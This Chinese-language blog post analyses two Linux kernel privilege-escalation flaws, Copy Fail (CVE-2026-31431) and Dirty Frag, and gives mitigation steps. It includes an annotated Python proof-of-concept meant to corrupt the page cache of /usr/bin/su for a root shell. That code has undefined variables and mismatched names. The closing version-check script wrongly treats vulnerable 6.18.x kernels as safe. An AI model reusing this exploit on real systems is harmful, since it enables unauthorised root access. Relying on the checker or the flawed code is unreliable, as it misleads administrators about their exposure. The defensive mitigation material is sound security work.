十天内连续遭遇两个 Linux 内核本地提权漏洞:CVE-2026-31431(Copy Fail)和 Dirty Frag。前者已修复,后者暂无 CVE,临时通过禁模块缓解。
背景 #
4 月底刚处理完一个内核漏洞,更新内核后以为能消停几天。
结果不到十天,5 月 9 日下午,又来一个。
这两次漏洞有几个共同点:都是本地提权(不需要远程利用)、都是纯逻辑缺陷而非内存破坏类漏洞、利用门槛都极低——一个是 732 字节 Python 脚本,一个是单行代码就能通杀。
本文记录从发现到修复的完整过程,以及两个漏洞的技术根因分析。
问题 #
Copy Fail(CVE-2026-31431) #
披露时间:2026 年 4 月 29 日,Theori 安全团队(研究员 Taeyang Lee)公开。
根因分析 #
漏洞根源在于 2017 年 Linux 内核对 crypto/algif_aead 模块引入的原位加密优化(in-place encryption)。
正常的数据加密流程:内核从用户态接收数据,复制到内核缓冲区,加密后写入目标位置。但 2017 年的优化改变了这个流程——为了减少一次内存复制,加密操作直接在接收缓冲区原地进行。问题出在 authencesn(带扩展序列号的认证加密)算法在处理特定长度的加密数据时,需要临时存储解密后的明文数据。代码将 assoclen + cryptlen 位置用作临时存储空间,并在解密过程中执行了一次 4 字节的越界写入。这段越界写入直接命中当前进程已打开的可读文件对应的页缓存页,覆盖其中的 4 字节内容,且不触发磁盘写回、不产生任何文件系统事件。
这意味着:即使目标文件是 /usr/bin/su 这样的 setuid 二进制文件,攻击者也能在无竞争条件、无需复现任何堆栈绕过的情况下,悄悄篡改其页缓存内容,从而获得 root 权限。更危险的是,由于页缓存在容器与宿主机之间共享,受感染容器可以直接篡改宿主机的文件,实现容器逃逸。
影响范围与危险等级 #
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 漏洞类型 | 本地提权(LPE)+ 容器逃逸 |
| CVSS 评分 | 7.8(高危)/ 容器场景 9.8(严重) |
| 影响内核范围 | 4.14 ≤ version < 6.18.21 |
| 影响系统 | Ubuntu 24.04/22.04/20.04、RHEL 8/9/10、 Amazon Linux 2023、SUSE SLES 15/16 等 |
| 触发条件 | 内核启用 AF_ALG 加密接口 + 加载 authencesn 模块 + 目标存在 setuid 文件 |
| POC 大小 | 732 字节(完整可工作的 Python 脚本) |
| POC 地址 | github.com/theori-io/copy-fail-CVE-2026-31431 |
POC 核心代码 #
以下是 POC 的关键逻辑分解(原版 732 字节 Python,来自 Theori 团队):
#!/usr/bin/env python3
"""CVE-2026-31431 Copy Fail - 核心利用逻辑(仅供研究学习)"""
import os
import zlib
import socket as s
# Step 1: 创建 AF_ALG 套接字
# AF_ALG 是 Linux 内核加密接口的用户态访问点
# 38 = AF_ALG, SOCK_SEQPACKET = 5
cli = s.socket(38, 5, 0)
# Step 2: 绑定 authencesn 加密算法
# authencesn = 带扩展序列号的 HMAC-SHA256 + CBC-AES 组合
cli.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# Step 3: 获取 SOL_ALG 层级句柄并设置密钥
h = 279 # SOL_ALG
cli.setsockopt(h, 1, bytes.fromhex('0800010000000010' + '0'*64))
# Step 4: 设置 aead 认证标签长度
cli.setsockopt(h, 5, None, 4)
# Step 5: 接受连接(触发内核加密处理)
conn, _ = cli.accept()
# Step 6: 构造 IOVEC + cmsg 控制消息
# 关键:sendmsg 的 control message 中携带精心构造的地址/长度参数
# 这些参数会在解密路径上导致 4 字节越界写入
payload = b"A" * 4 + exploit_data # 4字节填充 + 实际exploit数据
msghdr_iov = [
(socket.SOL_ALG, 3, bytes(4) * 4), # 设置 assoclen
(socket.SOL_ALG, 2, b'\x10' + bytes(4) * 19), # 伪造 iv
(socket.SOL_ALG, 4, b'\x08' + bytes(4) * 3), # 控制标志
]
# Step 7: 发送触发解密操作
conn.sendmsg([payload], msghdr_iov, 32768)
# Step 8: 用 splice 将目标文件内容导入管道,再导出到 socket
# 这一步是实际触发 OOB 写的关键路径
r, w = os.pipe()
os.splice(target_file_fd, w, file_size, offset_src=0) # 从文件读入管道
os.splice(r, conn.fileno(), file_size) # 从管道写入socket(触发漏洞)
# 最终效果:/usr/bin/su 的页缓存被修改 4 字节
# 修改后执行 su 即获得 root shell代码逻辑简要说明:
- 创建
AF_ALG类型的 socket,绑定authencesn算法 - 通过
setsockopt伪造加密上下文参数 sendmsg携带伪造的 control message,触发解密路径上的越界写splice系统调用将目标文件内容经管道送往 socket,走完整的加密处理路径- 4 字节越界写入命中
/usr/bin/su的页缓存,覆写其中内容 - 执行
su时实际运行的是被篡改后的页缓存内容,弹出 root shell
Dirty Frag #
披露时间:2026 年 5 月 8 日,由韩国安全研究员 Hyunwoo Kim 发现。
根因分析 #
与 Copy Fail 不同,Dirty Frag 不是单一漏洞,而是一个漏洞链(vulnerability chain)——通过精心构造的内存操作序列,串联两个独立的安全缺陷,最终实现内核态任意代码执行。
漏洞链的两环:
第一环:xfrm-ESP(IPsec 封装安全载荷)漏洞 Linux 内核的 xfrm(Transform Framework)子系统在处理 ESP 数据包时存在缺陷,允许通过精心构造的 ESP 报文触发碎片整理操作中的内存错误。
第二环:RxRPC(网络文件系统协议)漏洞 RxRPC 是 Linux 内核用于网络文件系统(如 AFS)的协议模块。其在处理数据包时同样存在碎片管理缺陷。
串联方式:攻击者首先利用 xfrm-ESP 触发内核碎片管理器的异常调度,随后 RxRPC 漏洞在同一时间窗口内被触发,两个独立缺陷的叠加效应导致攻击者可以操控内核内存分配,使页缓存页被错误地映射到攻击者控制的内存区域。由于是纯逻辑缺陷,不依赖竞争条件或特定硬件,利用门槛同样极低。
影响范围与危险等级 #
| 属性 | 值 |
|---|---|
| CVE 编号 | 暂无(撰写本文时各发行版均未发布修复补丁) |
| 漏洞类型 | 本地提权(LPE) |
| CVSS 评分 | 未公布 |
| 影响范围 | Ubuntu、Debian、CentOS、Fedora 等主流发行版多个版本 |
| 触发条件 | 需加载 esp4、esp6、rxrpc 三内核模块之一 |
| 特别危险点 | 零日窗口——目前无补丁、无 CVE,各安全扫描工具暂无法检测 |
方案 #
Copy Fail 修复 #
永久修复:升级内核至 ≥ 6.18.21(补丁 commit a664bf3d603d)。
Ubuntu 示例:
# 方式一:apt 升级
sudo apt update && sudo apt upgrade
# 方式二:使用 UKUU 可视化选内核版本(避免英伟达驱动踩雷)
# sudo apt install ukuu
# ukuu --install-latest排查命令:
# 1. 确认当前内核版本
uname -r
# 2. 检查 AF_ALG 接口配置状态
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# 返回 n → 已彻底关闭,不受影响
# 返回 y → 静态编译进内核,lsmod 查不到模块,但接口仍存在
# 返回 m → 模块方式构建,可通过 rmmod 缓解临时缓解(无法升级内核时):
# 禁用 algif_aead 模块
sudo rmmod algif_aead
# 注意:这可能导致某些加密功能不可用Dirty Frag 临时缓解 #
目前无 CVE、无补丁,唯一方案是禁止触发路径——即禁用漏洞利用所需的三个内核模块。这三个模块都与 IPSec 相关,大多数桌面和服务器并不会使用,禁用后对日常使用影响极小。
# 写入配置,阻止模块自动加载
sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"
# 立即卸载已加载的模块(如有)
sudo rmmod esp4 esp6 rxrpc 2>/dev/null
# 验证:无输出 = 安全
lsmod | grep -E 'esp4|esp6|rxrpc'如需确认系统是否使用 IPsec:
# 检查 ipsec 相关服务是否运行
systemctl status strongswan 2>/dev/null || systemctl status libreswan 2>/dev/null || echo "No IPsec service running"
# 如有输出,建议先测试再执行 rmmod,避免断连验证 #
本机自查结果(2026-05-09) #
| 漏洞 | 自查方法 | 结果 |
|---|---|---|
| Copy Fail | 内核版本检查 | ✅ 已更新至 6.18.x,安全版本 |
| Copy Fail | grep CONFIG_CRYPTO_USER_API_AEAD |
✅ 接口已关闭(返回 n) |
| Dirty Frag | lsmod | grep -E 'esp4|esp6|rxrpc' |
✅ 无相关模块,本机暂无影响 |
Copy Fail 内核版本范围对照 #
# 在任意 Linux 主机执行以下 Python 可快速判断是否在漏洞范围内
python3 -c "
import subprocess, re
ver = subprocess.check_output(['uname', '-r']).decode().strip()
# 提取主版本号
m = re.match(r'(\d+)\.', ver)
if m:
major = int(m.group(1))
print(f'内核版本: {ver}')
if major >= 4 and major < 6:
print('⚠️ 在漏洞影响范围内,请立即更新')
elif major >= 6 and int(ver.split('.')[1].split('-')[0]) < 18:
print('⚠️ 6.x 系列,请确认次版本 >= 18')
else:
print('✅ 暂不在已知漏洞范围内')
"总结 #
- Copy Fail 已修复:升级内核至 6.18.21+ 即可,无需其他操作。
- Dirty Frag 暂无补丁:执行禁模块命令是唯一缓解手段。三个模块(
esp4/esp6/rxrpc)与 IPSec 相关,桌面用户禁用后无感知,但需持续关注后续补丁动态。 - 两个漏洞的共同点:都是纯逻辑缺陷,不需要复杂的内存破坏技术,门槛极低。这意味着 Linux 内核漏洞的利用已经从"专业攻击者专属"变成了"脚本小子也能上手"。